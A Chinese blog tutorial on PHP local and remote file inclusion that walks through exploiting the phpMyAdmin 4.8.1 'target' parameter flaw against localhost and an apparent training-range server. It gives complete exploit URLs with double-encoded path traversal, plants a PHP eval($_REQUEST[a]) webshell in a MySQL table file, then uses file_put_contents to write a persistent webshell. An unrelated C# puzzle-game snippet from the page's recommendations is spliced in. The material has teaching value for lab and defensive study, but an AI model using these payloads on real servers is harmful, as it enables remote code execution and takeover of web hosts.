本地文件包含和远程文件包含(超详细,小白也彳亍!)

在这里插入图片描述
在这里插入图片描述

为了防止代码重复,我们就有了,文件包含。很多网页如果要用到很多同样的函数,那么我们就可以使用这个文件包含函数,就避免了每个网页又去重复造轮子。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在index.php文件里包含1.txt,而1.txt的内容是phpinfo(),include函数包含1.txt,就会把1.txt的内容当成php文件执行,不管后缀是什么。1.txt也好,1.xml也好,只要里面是php代码,然后有被include函数包含,那么就被当成PHP文件执行。
在这里插入图片描述
如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,然是不影响其他功能的执行,比如这里的nf和123的输出。那么就表明include函数,如果出现错误的话,并不会影响其他功能的运行。
在这里插入图片描述

如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,影响后面功能的执行,比如这里的nf的输出,后面的功能因为2.txt报错,导致123未执行。那么就表明require函数,如果出现错误的话,会影响后面功能的运行。
在这里插入图片描述
只要文件内是php代码,文件包含是不在意文件后缀的。
在这里插入图片描述
12345.jpg的传参值是a,那么我们可以写传参值=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)
然后生成一个新的php文件

在这里插入图片描述
访问index.php
在这里插入图片描述

以上我们接触的全部是本地文件包含

说了本地文件包含,我们再来看远程文件包含

简单来说远程文件包含,就是可以包含其他主机上的文件,并当成php代码执行。
要实现远程文件包含的话,php配置的allow_url_include = on必须为on(开启)
来我们可以来实验一下,把这个配置打开。
“其他选项菜单”——“打开配置文件”——“php-ini”
在这里插入图片描述
打开配置文件,搜索allow_url_include 把Off改为On,注:第一个字母要为大写
在这里插入图片描述
之后要重启才能生效。
在这里插入图片描述
配置开启后,我们来远程文件包含一下,我们来远程包含一下kali上的1.txt,可以看到没有本地包含,所以直接显示的内容。

在这里插入图片描述
在这里插入图片描述
那我们现在来远程包含一下kali的这个1.txt,看会不会有phpinfo,注意我这里是index文件哦,所以是默认的。
在这里插入图片描述

可以看到,包含成功!

在这里插入图片描述
这里可以插一句题外话,如果是window服务器的话,可以让本地文件包含变成远程文件包含。需要开始XX配置,SMB服务。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里我们可以发现,进入一个不存在的目录,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。
在这里插入图片描述
但是php是非常严格的,进入一个不存在的目录,这里目录的名字里不能有?*号,否则报错,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。
在这里插入图片描述

实战

在这里插入图片描述

注意,这里php版本过低,会安装不上

在这里插入图片描述

在这里插入图片描述
安装好后,我们来解析下源码
在这里插入图片描述

在这里插入图片描述1.txt内容phpinfo()
在这里插入图片描述

来本地文件包含一下,发现成功

http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt
在这里插入图片描述

靶场 http://59.63.200.79:8010/lfi/phpmyadmin/

先创建一个库名:nf
在这里插入图片描述

接着创建表:ff,字段数选2个就行了
在这里插入图片描述

然后选中我们之前创建好的库名和表名,开始写入数据,第一个就写个一句话木马,第二个随便填充。

在这里插入图片描述

然后我们找到存放表的路径。

在这里插入图片描述
这里我们要传参2个,那么就加上&这里我们找到之后传参phpinfo

http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo();

因为a在ff.frm里

<?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号

文件包含成功

在这里插入图片描述

用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马

http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’);

<?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号

在这里插入图片描述
写入成功后,我们连接这个8.php的木马。

http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php

在这里插入图片描述

在线测试时这样,但是我在本地测试的时候,还是有点不一样的。我就直接上不一样的地方,前面的地方都是一样的

1,创建一个库为yingqian1984,
2,创建一个表为yq1984
3,填充表数据,因为跟上面一样,2个字段一个木马,一个随便数据
4,找数据表的位置,最后我发现我的MySQL存放数据库的地方是在
C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984
在这里插入图片描述

文件包含成功。

http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo();

在这里插入图片描述

用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马

http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’);

<?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号

在这里插入图片描述

传参成功

http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo();

在这里插入图片描述

  • 21
    点赞
  • 58
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
拼图 原创 游戏 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace WindowsFormsApplication1 { public partial class Form1 : Form { Random r = new Random();//随机种子 Point pi = new Point();//出界返回 Point[] pt = new Point[8];//判断胜负 string[] st = new string[8];//判断胜负 public Form1() { InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { pictureBox1.Left -= 800; tianjia(); panduan(); } void tianjia()//添加图片 { string si;//获取坐标 int i = 7;//图片数量 int n = 0;//变量 string[] s = { "000000", "000100", "000200", "100000", "100100", "100200", "200000", "200100"}; ComboBox cb = new ComboBox(); ComboBox cc = new ComboBox(); cb.Items.AddRange(s);//确定坐标 cc.Items.AddRange(s);//确定图像 for (n = 0; n < 8; n++) { PictureBox p = new PictureBox();//创建拼图 p.Name = "i" + i; p.Size = new Size(100, 100); p.BackColor = Color.Red; si = cb.Items[r.Next(0,i)].ToString();//打乱拼图坐标 p.Location = new Point(Convert.ToInt32(si) / 1000, Convert.ToInt32(si) % 1000); cb.Items.Remove(si); Bitmap bit = new Bitmap(99, 99);//给拼图添加背景图片 Graphics g = Graphics.FromImage(bit); g.DrawImageUnscaled(pictureBox1.Image, -Convert.ToInt32(cc.Items[i]) / 1000, -Convert.ToInt32(cc.Items[i]) % 1000); p.Image = bit; Controls.Add(p);//把拼图画到窗体上 pt[n] = new Point(Convert.ToInt32(cc.Items[i]) / 1000, Convert.ToInt32(cc.Items[i]) % 1000); st[n] = p.Name; i--; } } private void Form1_KeyPress(object sender, KeyPressEventArgs e) { pi = pictureBox2.Location; string key = e.KeyChar.ToString(); switch (key)//图片移动 { case "w": pictureBox2 .Top -= 100; break; case "s": pictureBox2.Top += 100; break; case "a": pictureBox2.Left -= 100; break; case "d": pictureBox2.Left += 100; break; } if (pictureBox2.Location.X < 0 || pictureBox2.Location.X > 200 || pictureBox2.Location.Y < 0 || pictureBox2.Location.Y > 200) pictureBox2.Location = pi;//判断出界 foreach (Control i in Controls)//反向移动 if (i.Location == pictureBox2.Location&&i.Name!="pictureBox2") { switch (key) { case "w": i.Top += 100; break; case "s": i.Top -= 100; break; case "a": i.Left += 100; break; case "d": i.Left -= 100; break; } } panduan(); } void panduan() { int ai = 0; for (int n = 0; n < 8; n++) foreach (Control i in Controls) if (i.Name == st[n] && i.Location == pt[n]) ai++; label1.Text = ai.ToString(); if (ai == 8) { MessageBox.Show("恭喜你,通关了"); Close(); } } private void button1_Click(object sender, EventArgs e) { if (pictureBox1.Location.X == -800) pictureBox1.Left += 800; else pictureBox1.Left -= 800; } } }

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值